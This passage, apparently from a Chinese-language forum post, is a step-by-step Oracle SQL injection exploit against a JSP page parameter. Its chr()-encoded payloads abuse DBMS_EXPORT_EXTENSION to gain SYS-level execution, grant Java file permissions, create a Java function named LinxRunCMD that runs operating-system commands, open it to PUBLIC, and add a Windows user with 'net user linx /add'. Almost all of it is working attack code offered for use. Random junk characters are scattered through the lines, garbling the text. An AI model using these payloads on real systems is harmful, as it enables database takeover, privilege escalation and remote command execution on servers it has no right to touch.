chr(34)||chr(59)||chr(109)||chr(121)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(46)||chr(99)||chr(108)||chr(111)||chr(115)||chr(101)||chr(40)||chr(41)||chr(59)||chr(114)||chr(101)||chr(116)||chr(117)||chr(114)||chr(110)||chr(32)||chr(115)||chr(116)||chr(114)||chr(59)||
& v* K5 u' N% A0 z2 {chr(125)||chr(32)||chr(99)||chr(97)||chr(116)||chr(99)||chr(104)||chr(32)||chr(40)||chr(69)||chr(120)||chr(99)||chr(101)||chr(112)||chr(116)||chr(105)||chr(111)||chr(110)||chr(32)||chr(101)||chr(41)||chr(123)||chr(114)||chr(101)||chr(116)||chr(117)||chr(114)||chr(110)||chr(32)||chr(101)||
3 W3 p3 }% {9 T% \: kchr(46)||chr(116)||chr(111)||chr(83)||chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(40)||chr(41)||chr(59)||chr(125)||chr(125)||chr(125)||chr(39)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(45)||chr(45)
5 j' V* G7 z/ W9 E,chr(83)||chr(89)||chr(83),0,chr(49),0) from dual
( k: b* M' G4 o7 E9 m, r/ M$ F% W8 W3 `" ?+ R
)
8 w9 X7 T: e! c; Z3 i, Q
, Y7 k; c% I: ~+ Q; [------------------------------
9 |/ y# G3 y% \* J: ?$ S( f9 P
2.赋Java权限
# D Q b- }9 F0 }$ X% N- `/xxx.jsp?id=1 and chr(49)<>chr(50)||(! \! l4 W# O5 E G% e1 H+ E
- U7 v: f% e' X
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(chr(70)||chr(79)||chr(79),chr(66)||chr(65)||chr(82),
( V# }- m. K! d, b5 O0 jchr(68)||chr(66)||chr(77)||chr(83)||chr(95)||chr(79)||chr(85)||chr(84)||chr(80)||chr(85)||chr(84)||chr(34)||chr(46)||chr(80)||chr(85)||chr(84)||chr(40)||chr(58)||chr(80)||chr(49)||chr(41)||chr(59)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||: U2 o( H' g' [( M) x! E. a* G7 {
chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(68)||chr(69)||chr(67)||chr(76)||chr(65)||chr(82)||chr(69)||chr(32)||chr(80)||chr(82)||chr(65)||chr(71)||chr(77)||chr(65)||chr(32)||chr(65)||chr(85)||chr(84)||chr(79)||+ ~/ E1 y/ n7 ^$ _$ e9 F& R
chr(78)||chr(79)||chr(77)||chr(79)||chr(85)||chr(83)||chr(95)||chr(84)||chr(82)||chr(65)||chr(78)||chr(83)||chr(65)||chr(67)||chr(84)||chr(73)||chr(79)||chr(78)||chr(59)||chr(66)||chr(69)||chr(71)||chr(73)||chr(78)||chr(32)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||& |5 t0 J! |9 a) y( r5 ?5 s0 S
chr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(39)||chr(98)||chr(101)||chr(103)||chr(105)||chr(110)||chr(32)||chr(100)||chr(98)||chr(109)||chr(115)||chr(95)||chr(106)||chr(97)||chr(118)||chr(97)||; C0 M1 p3 E" j' \5 n) Q \8 ]
chr(46)||chr(103)||chr(114)||chr(97)||chr(110)||chr(116)||chr(95)||chr(112)||chr(101)||chr(114)||chr(109)||chr(105)||chr(115)||chr(115)||chr(105)||chr(111)||chr(110)||chr(40)||chr(32)||chr(39)||chr(39)||chr(39)||chr(39)||chr(80)||chr(85)||chr(66)||chr(76)||chr(73)||chr(67)||chr(39)||
$ ? W8 S1 r/ m5 w$ Xchr(39)||chr(39)||chr(39)||chr(44)||chr(32)||chr(39)||chr(39)||chr(39)||chr(39)||chr(83)||chr(89)||chr(83)||chr(58)||chr(106)||chr(97)||chr(118)||chr(97)||chr(46)||chr(105)||chr(111)||chr(46)||chr(70)||chr(105)||chr(108)||chr(101)||chr(80)||chr(101)||chr(114)||chr(109)||chr(105)||' F4 F4 G& b# S
chr(115)||chr(115)||chr(105)||chr(111)||chr(110)||chr(39)||chr(39)||chr(39)||chr(39)||chr(44)||chr(32)||chr(39)||chr(39)||chr(39)||chr(39)||chr(60)||chr(60)||chr(65)||chr(76)||chr(76)||chr(32)||chr(70)||chr(73)||chr(76)||chr(69)||chr(83)||chr(62)||chr(62)||chr(39)||chr(39)||7 X( b3 e. O/ E& E" Y
chr(39)||chr(39)||chr(44)||chr(32)||chr(39)||chr(39)||chr(39)||chr(39)||chr(101)||chr(120)||chr(101)||chr(99)||chr(117)||chr(116)||chr(101)||chr(39)||chr(39)||chr(39)||chr(39)||chr(41)||chr(59)||chr(101)||chr(110)||chr(100)||chr(59)||chr(39)||chr(39)||chr(59)||chr(69)||chr(78)||; u7 N- }+ F3 K
chr(68)||chr(59)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(45)||chr(45)
5 n2 d& C* n3 \7 O$ ?. V8 V,chr(83)||chr(89)||chr(83),0,chr(49),0) from dual9 \% D& E+ k/ u
6 }9 c$ ~ L e) a6 e
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- e f! b3 H0 Q4 L! V: j3 B- b0 ^2 E' [7 G* h
readfile函数的ascii版就不写了,见谅。- r# A4 V0 O) D/ f1 w5 O
7 n, t) }$ P+ O) i9 T3.创建函数
$ }5 y) U# \6 C6 L' k0 l4 v7 I( |, s: o! D0 U
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(chr(70)||chr(79)||chr(79),chr(66)||chr(65)||chr(82),, |" g0 U( N& C" @
chr(68)||chr(66)||chr(77)||chr(83)||chr(95)||chr(79)||chr(85)||chr(84)||chr(80)||chr(85)||chr(84)||chr(34)||chr(46)||chr(80)||chr(85)||chr(84)||chr(40)||chr(58)||chr(80)||chr(49)||chr(41)||chr(59)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||
# M& L7 [: k: |, Zchr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(68)||chr(69)||chr(67)||chr(76)||chr(65)||chr(82)||chr(69)||chr(32)||chr(80)||chr(82)||chr(65)||chr(71)||chr(77)||chr(65)||chr(32)||chr(65)||chr(85)||chr(84)||chr(79)||
9 `; b* K& j" e, echr(78)||chr(79)||chr(77)||chr(79)||chr(85)||chr(83)||chr(95)||chr(84)||chr(82)||chr(65)||chr(78)||chr(83)||chr(65)||chr(67)||chr(84)||chr(73)||chr(79)||chr(78)||chr(59)||chr(66)||chr(69)||chr(71)||chr(73)||chr(78)||chr(32)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||0 ]5 W2 |! t& C: d/ m& p% S3 h8 K) O
chr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(39)||chr(99)||chr(114)||chr(101)||chr(97)||chr(116)||chr(101)||chr(32)||chr(111)||chr(114)||chr(32)||chr(114)||chr(101)||chr(112)||chr(108)||chr(97)||
Y5 p% l3 ?* \" K4 T- Ychr(99)||chr(101)||chr(32)||chr(102)||chr(117)||chr(110)||chr(99)||chr(116)||chr(105)||chr(111)||chr(110)||chr(32)||chr(76)||chr(105)||chr(110)||chr(120)||chr(82)||chr(117)||chr(110)||chr(67)||chr(77)||chr(68)||chr(40)||chr(112)||chr(95)||chr(99)||chr(109)||chr(100)||chr(32)||chr(105)||; k+ |0 g# d' \
chr(110)||chr(32)||chr(118)||chr(97)||chr(114)||chr(99)||chr(104)||chr(97)||chr(114)||chr(50)||chr(41)||chr(32)||chr(32)||chr(114)||chr(101)||chr(116)||chr(117)||chr(114)||chr(110)||chr(32)||chr(118)||chr(97)||chr(114)||chr(99)||chr(104)||chr(97)||chr(114)||chr(50)||chr(32)||chr(32)||
9 I, _/ g- r) \, Q2 \chr(97)||chr(115)||chr(32)||chr(108)||chr(97)||chr(110)||chr(103)||chr(117)||chr(97)||chr(103)||chr(101)||chr(32)||chr(106)||chr(97)||chr(118)||chr(97)||chr(32)||chr(110)||chr(97)||chr(109)||chr(101)||chr(32)||chr(39)||chr(39)||chr(39)||chr(39)||chr(76)||chr(105)||chr(110)||chr(120)||
6 B- k1 _, y/ k# A0 Cchr(85)||chr(116)||chr(105)||chr(108)||chr(46)||chr(114)||chr(117)||chr(110)||chr(67)||chr(77)||chr(68)||chr(40)||chr(106)||chr(97)||chr(118)||chr(97)||chr(46)||chr(108)||chr(97)||chr(110)||chr(103)||chr(46)||chr(83)||chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(41)||chr(32)||
- S# l- c1 t* p+ M4 F% D; v0 ^chr(114)||chr(101)||chr(116)||chr(117)||chr(114)||chr(110)||chr(32)||chr(83)||chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(39)||chr(39)||chr(39)||chr(39)||chr(59)||chr(39)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||
9 Z. N# a$ ?4 R6 w- M+ achr(59)||chr(45)||chr(45)2 ~) x$ X3 y6 d# a' M
,chr(83)||chr(89)||chr(83),0,chr(49),0) from dual W* U$ _; X! ~+ e- \
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1 N$ [6 a {* Q. X1 v+ b$ o' a: Y: l. X
4.赋public执行函数的权限
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0 C! }* H3 Q$ I3 ?7 ]3 W$ Z+ Oselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(chr(70)||chr(79)||chr(79),chr(66)||chr(65)||chr(82),* E4 a5 R/ ]3 G* m( d
chr(68)||chr(66)||chr(77)||chr(83)||chr(95)||chr(79)||chr(85)||chr(84)||chr(80)||chr(85)||chr(84)||chr(34)||chr(46)||chr(80)||chr(85)||chr(84)||chr(40)||chr(58)||chr(80)||chr(49)||chr(41)||chr(59)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||
9 o; y2 [! h8 \& a1 W: Qchr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(68)||chr(69)||chr(67)||chr(76)||chr(65)||chr(82)||chr(69)||chr(32)||chr(80)||chr(82)||chr(65)||chr(71)||chr(77)||chr(65)||chr(32)||chr(65)||chr(85)||chr(84)||chr(79)||: i |5 ^5 L! _7 U
chr(78)||chr(79)||chr(77)||chr(79)||chr(85)||chr(83)||chr(95)||chr(84)||chr(82)||chr(65)||chr(78)||chr(83)||chr(65)||chr(67)||chr(84)||chr(73)||chr(79)||chr(78)||chr(59)||chr(66)||chr(69)||chr(71)||chr(73)||chr(78)||chr(32)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||4 |- b2 W/ d* b; X
chr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(39)||chr(103)||chr(114)||chr(97)||chr(110)||chr(116)||chr(32)||chr(97)||chr(108)||chr(108)||chr(32)||chr(111)||chr(110)||chr(32)||chr(76)||chr(105)||
' e# i0 B" |5 y! lchr(110)||chr(120)||chr(82)||chr(117)||chr(110)||chr(67)||chr(77)||chr(68)||chr(32)||chr(116)||chr(111)||chr(32)||chr(112)||chr(117)||chr(98)||chr(108)||chr(105)||chr(99)||chr(39)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||3 N% G9 I' ^3 }. b# L/ v
chr(59)||chr(45)||chr(45)5 S) ?1 }/ x$ z* t7 P" F, ]. |
,chr(83)||chr(89)||chr(83),0,chr(49),0) from dual" i2 c# c% i$ r. g
1 D5 T& e2 ]5 k
/ g3 P% h* _7 s4 V+ Y: b( w: ?' H" Z( O+ c; p4 h
5.执行命令:
/ e3 i# W8 l8 e" \6 O* i9 U
* O! I% ~& z/ n) G, J" m: l, A/xxx.jsp?id=1 and chr(49)<>chr(32)||(. [# C, Y, B6 h5 Q: X B( Z4 ^
select sys.LinxRunCMD('cmd /c net user linx /add') from dual
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6 J: F9 j5 ]8 @. |9 n1 h) g7 L" q即
% L: ]1 M& S( I$ v0 q/xxx.jsp?id=1 and chr(49)<>chr(32)||(3 p, R: X3 L6 S/ M, D2 ^
select sys.LinxRunCMD(chr(99)||chr(109)||chr(100)||chr(32)||chr(47)||chr(99)||chr(32)||chr(110)||chr(101)||chr(116)||chr(32)||chr(117)||chr(115)||chr(101)||chr(114)||chr(32)||chr(108)||chr(105)||chr(110)||chr(120)||chr(32)||chr(47)||chr(97)||chr(100)||chr(100)) from dual
1 N" M& j" Z/ i2 J# o A)
. b5 k5 K- ^: u$ X- V0 [* n3 Y5 R3 s |